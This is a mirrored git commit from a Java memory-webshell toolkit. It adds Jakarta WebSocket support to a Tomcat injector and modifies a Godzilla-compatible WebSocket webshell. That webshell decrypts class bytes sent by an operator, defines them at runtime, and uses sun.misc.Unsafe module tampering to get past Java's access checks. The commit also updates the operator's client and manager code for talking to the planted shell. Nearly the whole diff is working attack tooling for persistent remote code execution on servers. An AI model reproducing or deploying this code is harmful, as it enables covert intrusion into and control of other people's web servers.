mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
fix: Jakarta WebSocket not work
This commit is contained in:
@@ -44,6 +44,7 @@ public class TomcatShell extends AbstractShell {
|
|||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
|
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+2
-1
@@ -46,7 +46,8 @@ public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
|
|||||||
new Remapper() {
|
new Remapper() {
|
||||||
@Override
|
@Override
|
||||||
public String map(String typeName) {
|
public String map(String typeName) {
|
||||||
if (typeName.startsWith("javax/servlet/")) {
|
if (typeName.startsWith("javax/servlet/")
|
||||||
|
|| typeName.startsWith("javax/websocket/")) {
|
||||||
return typeName.replaceFirst("javax", "jakarta");
|
return typeName.replaceFirst("javax", "jakarta");
|
||||||
} else {
|
} else {
|
||||||
return typeName;
|
return typeName;
|
||||||
|
|||||||
+13
-2
@@ -94,6 +94,10 @@ public class TomcatWebSocketInjector {
|
|||||||
private void inject(Object obj, Object context) throws Exception {
|
private void inject(Object obj, Object context) throws Exception {
|
||||||
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
||||||
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||||||
|
if (container == null) {
|
||||||
|
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
|
||||||
|
}
|
||||||
|
|
||||||
if (container == null) {
|
if (container == null) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -104,8 +108,15 @@ public class TomcatWebSocketInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
Class<?> serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
Class<?> serverEndpointConfigClass;
|
||||||
Class<?> builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
Class<?> builderClass;
|
||||||
|
try {
|
||||||
|
serverEndpointConfigClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig");
|
||||||
|
builderClass = contextClassLoader.loadClass("javax.websocket.server.ServerEndpointConfig$Builder");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
serverEndpointConfigClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig");
|
||||||
|
builderClass = contextClassLoader.loadClass("jakarta.websocket.server.ServerEndpointConfig$Builder");
|
||||||
|
}
|
||||||
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
|
Constructor<?> constructor = builderClass.getDeclaredConstructor(Class.class, String.class);
|
||||||
constructor.setAccessible(true);
|
constructor.setAccessible(true);
|
||||||
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
|
Object o1 = constructor.newInstance(obj.getClass(), getUrlPattern());
|
||||||
|
|||||||
+30
-11
@@ -6,6 +6,8 @@ import javax.websocket.Endpoint;
|
|||||||
import javax.websocket.EndpointConfig;
|
import javax.websocket.EndpointConfig;
|
||||||
import javax.websocket.MessageHandler;
|
import javax.websocket.MessageHandler;
|
||||||
import javax.websocket.Session;
|
import javax.websocket.Session;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLClassLoader;
|
import java.net.URLClassLoader;
|
||||||
@@ -16,15 +18,35 @@ import java.net.URLClassLoader;
|
|||||||
*/
|
*/
|
||||||
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
||||||
public static String key;
|
public static String key;
|
||||||
|
|
||||||
private Session session;
|
private Session session;
|
||||||
private Class<?> payload;
|
private static Class<?> payload;
|
||||||
|
|
||||||
public Class<?> Q(byte[] classBytes) throws Throwable {
|
public Class<?> reflectionDefineClass(byte[] classBytes) throws Throwable {
|
||||||
|
Object unsafe = null;
|
||||||
|
Object rawModule = null;
|
||||||
|
long offset = 48;
|
||||||
|
Method getAndSetObjectM = null;
|
||||||
|
try {
|
||||||
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
|
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
|
unsafeField.setAccessible(true);
|
||||||
|
unsafe = unsafeField.get(null);
|
||||||
|
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
|
||||||
|
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||||
|
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||||
|
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||||
|
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||||
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||||
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||||
defMethod.setAccessible(true);
|
defMethod.setAccessible(true);
|
||||||
return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
|
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
|
||||||
|
if (getAndSetObjectM != null) {
|
||||||
|
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
||||||
|
}
|
||||||
|
return clazz;
|
||||||
}
|
}
|
||||||
|
|
||||||
public byte[] x(byte[] s, boolean m) {
|
public byte[] x(byte[] s, boolean m) {
|
||||||
@@ -48,11 +70,11 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
|||||||
try {
|
try {
|
||||||
byte[] data = base64Decode(message);
|
byte[] data = base64Decode(message);
|
||||||
data = x(data, false);
|
data = x(data, false);
|
||||||
if (payload == null) {
|
if (payload == null || (data[0] == -54 && data[1] == -2)) {
|
||||||
payload = Q(data);
|
payload = reflectionDefineClass(data);
|
||||||
session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true)));
|
session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true)));
|
||||||
} else {
|
} else {
|
||||||
java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||||
Object obj = payload.newInstance();
|
Object obj = payload.newInstance();
|
||||||
obj.equals(data);
|
obj.equals(data);
|
||||||
obj.equals(bos);
|
obj.equals(bos);
|
||||||
@@ -60,10 +82,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
|||||||
session.getBasicRemote().sendText(base64Encode(x(bos.toByteArray(), true)));
|
session.getBasicRemote().sendText(base64Encode(x(bos.toByteArray(), true)));
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
try {
|
e.printStackTrace();
|
||||||
session.close();
|
|
||||||
} catch (java.io.IOException ignored) {
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+99
-51
@@ -2,6 +2,7 @@ package com.reajason.javaweb.godzilla;
|
|||||||
|
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import org.java_websocket.client.WebSocketClient;
|
import org.java_websocket.client.WebSocketClient;
|
||||||
|
import org.java_websocket.framing.CloseFrame;
|
||||||
import org.java_websocket.handshake.ServerHandshake;
|
import org.java_websocket.handshake.ServerHandshake;
|
||||||
|
|
||||||
import java.net.URI;
|
import java.net.URI;
|
||||||
@@ -13,7 +14,7 @@ import java.util.concurrent.atomic.AtomicReference;
|
|||||||
public class BlockingJavaWebSocketClient extends WebSocketClient {
|
public class BlockingJavaWebSocketClient extends WebSocketClient {
|
||||||
|
|
||||||
private CountDownLatch connectLatch = new CountDownLatch(1);
|
private CountDownLatch connectLatch = new CountDownLatch(1);
|
||||||
private CountDownLatch responseLatch = new CountDownLatch(1);
|
private volatile CountDownLatch responseLatch;
|
||||||
private final AtomicReference<String> responseMessage = new AtomicReference<>();
|
private final AtomicReference<String> responseMessage = new AtomicReference<>();
|
||||||
private final AtomicReference<byte[]> responseBytesMessage = new AtomicReference<>();
|
private final AtomicReference<byte[]> responseBytesMessage = new AtomicReference<>();
|
||||||
private volatile boolean connected = false;
|
private volatile boolean connected = false;
|
||||||
@@ -24,38 +25,125 @@ public class BlockingJavaWebSocketClient extends WebSocketClient {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onOpen(ServerHandshake handshake) {
|
public void onOpen(ServerHandshake handshake) {
|
||||||
|
System.out.println("连接成功");
|
||||||
connected = true;
|
connected = true;
|
||||||
connectLatch.countDown();
|
connectLatch.countDown();
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
public void onMessage(String message) {
|
public void onMessage(String message) {
|
||||||
|
System.out.println("收到消息: " + message);
|
||||||
responseMessage.set(message);
|
responseMessage.set(message);
|
||||||
responseLatch.countDown();
|
if (responseLatch != null) {
|
||||||
|
responseLatch.countDown();
|
||||||
|
}
|
||||||
close();
|
close();
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
public void onMessage(ByteBuffer byteBuffer) {
|
public void onMessage(ByteBuffer byteBuffer) {
|
||||||
|
System.out.println("收到字节消息: " + byteBuffer);
|
||||||
responseBytesMessage.set(byteBuffer.array());
|
responseBytesMessage.set(byteBuffer.array());
|
||||||
responseLatch.countDown();
|
if (responseLatch != null) {
|
||||||
|
responseLatch.countDown();
|
||||||
|
}
|
||||||
close();
|
close();
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
public void onClose(int code, String reason, boolean remote) {
|
public void onClose(int code, String reason, boolean remote) {
|
||||||
responseLatch.countDown();
|
System.out.println("连接关闭: " + code + " - " + reason);
|
||||||
connectLatch.countDown();
|
|
||||||
connected = false;
|
connected = false;
|
||||||
|
// Signal any waiting threads
|
||||||
|
if (responseLatch != null) {
|
||||||
|
responseLatch.countDown();
|
||||||
|
}
|
||||||
|
connectLatch.countDown();
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
|
||||||
public void onError(Exception ex) {
|
public void onError(Exception ex) {
|
||||||
responseLatch.countDown();
|
System.out.println("连接错误: " + ex.getMessage());
|
||||||
connectLatch.countDown();
|
|
||||||
connected = false;
|
connected = false;
|
||||||
|
// Signal any waiting threads
|
||||||
|
if (responseLatch != null) {
|
||||||
|
responseLatch.countDown();
|
||||||
|
}
|
||||||
|
connectLatch.countDown();
|
||||||
|
ex.printStackTrace();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public String sendRequest(String message) throws InterruptedException {
|
||||||
|
// Connect if not already connected
|
||||||
|
if (!connected && !isOpen()) {
|
||||||
|
connect();
|
||||||
|
if (!connectLatch.await(5, TimeUnit.SECONDS)) {
|
||||||
|
throw new InterruptedException("Timeout during WebSocket connection.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!connected || !isOpen()) {
|
||||||
|
throw new IllegalStateException("WebSocket connection is not open.");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset response data and create new response latch for this request
|
||||||
|
responseMessage.set(null);
|
||||||
|
responseBytesMessage.set(null);
|
||||||
|
responseLatch = new CountDownLatch(1);
|
||||||
|
|
||||||
|
// Send the message
|
||||||
|
send(message);
|
||||||
|
|
||||||
|
// Wait for response
|
||||||
|
if (!responseLatch.await(10, TimeUnit.SECONDS)) {
|
||||||
|
throw new InterruptedException("Timeout waiting for WebSocket response.");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if connection was closed during wait
|
||||||
|
if (!connected) {
|
||||||
|
throw new IllegalStateException("WebSocket connection was closed while waiting for response.");
|
||||||
|
}
|
||||||
|
|
||||||
|
return responseMessage.get();
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] sendRequest(ByteBuffer message) throws InterruptedException {
|
||||||
|
// Connect if not already connected
|
||||||
|
if (!connected && !isOpen()) {
|
||||||
|
connect();
|
||||||
|
if (!connectLatch.await(5, TimeUnit.SECONDS)) {
|
||||||
|
throw new InterruptedException("Timeout during WebSocket connection.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!connected || !isOpen()) {
|
||||||
|
throw new IllegalStateException("WebSocket connection is not open.");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reset response data and create new response latch for this request
|
||||||
|
responseMessage.set(null);
|
||||||
|
responseBytesMessage.set(null);
|
||||||
|
responseLatch = new CountDownLatch(1);
|
||||||
|
|
||||||
|
// Send the message
|
||||||
|
send(message);
|
||||||
|
|
||||||
|
// Wait for response
|
||||||
|
if (!responseLatch.await(10, TimeUnit.SECONDS)) {
|
||||||
|
throw new InterruptedException("Timeout waiting for WebSocket response.");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if connection was closed during wait
|
||||||
|
if (!connected) {
|
||||||
|
throw new IllegalStateException("WebSocket connection was closed while waiting for response.");
|
||||||
|
}
|
||||||
|
|
||||||
|
return responseBytesMessage.get();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void disconnect() {
|
||||||
|
if (connected && isOpen()) {
|
||||||
|
close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static String sendRequestWaitResponse(String entrypoint, String message) {
|
public static String sendRequestWaitResponse(String entrypoint, String message) {
|
||||||
BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint));
|
BlockingJavaWebSocketClient blockingJavaWebSocketClient = new BlockingJavaWebSocketClient(URI.create(entrypoint));
|
||||||
@@ -68,46 +156,6 @@ public class BlockingJavaWebSocketClient extends WebSocketClient {
|
|||||||
return blockingJavaWebSocketClient.sendRequest(message);
|
return blockingJavaWebSocketClient.sendRequest(message);
|
||||||
}
|
}
|
||||||
|
|
||||||
public String sendRequest(String message) throws InterruptedException {
|
|
||||||
connect();
|
|
||||||
if (!connectLatch.await(5, TimeUnit.SECONDS)) {
|
|
||||||
throw new InterruptedException("Timeout during WebSocket connection.");
|
|
||||||
}
|
|
||||||
if (!connected) {
|
|
||||||
throw new IllegalStateException("WebSocket connection is not open.");
|
|
||||||
}
|
|
||||||
|
|
||||||
responseMessage.set(null);
|
|
||||||
connectLatch = new CountDownLatch(1);
|
|
||||||
responseLatch = new CountDownLatch(1);
|
|
||||||
send(message);
|
|
||||||
|
|
||||||
if (!responseLatch.await(5, TimeUnit.SECONDS)) {
|
|
||||||
throw new InterruptedException("Timeout waiting for WebSocket response.");
|
|
||||||
}
|
|
||||||
return responseMessage.get();
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] sendRequest(ByteBuffer message) throws InterruptedException {
|
|
||||||
connect();
|
|
||||||
if (!connectLatch.await(5, TimeUnit.SECONDS)) {
|
|
||||||
throw new InterruptedException("Timeout during WebSocket connection.");
|
|
||||||
}
|
|
||||||
if (!connected) {
|
|
||||||
throw new IllegalStateException("WebSocket connection is not open.");
|
|
||||||
}
|
|
||||||
|
|
||||||
responseBytesMessage.set(null);
|
|
||||||
connectLatch = new CountDownLatch(1);
|
|
||||||
responseLatch = new CountDownLatch(1);
|
|
||||||
send(message);
|
|
||||||
|
|
||||||
if (!responseLatch.await(5, TimeUnit.SECONDS)) {
|
|
||||||
throw new InterruptedException("Timeout waiting for WebSocket response.");
|
|
||||||
}
|
|
||||||
return responseBytesMessage.get();
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
String uri = "ws://localhost:8082/app/fuck";
|
String uri = "ws://localhost:8082/app/fuck";
|
||||||
System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id"));
|
System.out.println("Response 1: " + BlockingJavaWebSocketClient.sendRequestWaitResponse(uri, "id"));
|
||||||
|
|||||||
@@ -231,9 +231,11 @@ public class GodzillaManager implements Closeable {
|
|||||||
byte[] aes = aes(this.key, bytes, true);
|
byte[] aes = aes(this.key, bytes, true);
|
||||||
String base64String = Base64.encodeBase64String(aes);
|
String base64String = Base64.encodeBase64String(aes);
|
||||||
String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
|
String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(this.entrypoint, base64String);
|
||||||
byte[] x = aes(key, Base64.decodeBase64(response), false);
|
if(StringUtils.isNoneBlank(response)){
|
||||||
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
|
byte[] x = aes(key, Base64.decodeBase64(response), false);
|
||||||
return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
|
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
|
||||||
|
return "ok".equals(IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return false;
|
return false;
|
||||||
|
|||||||
Reference in New Issue
Block a user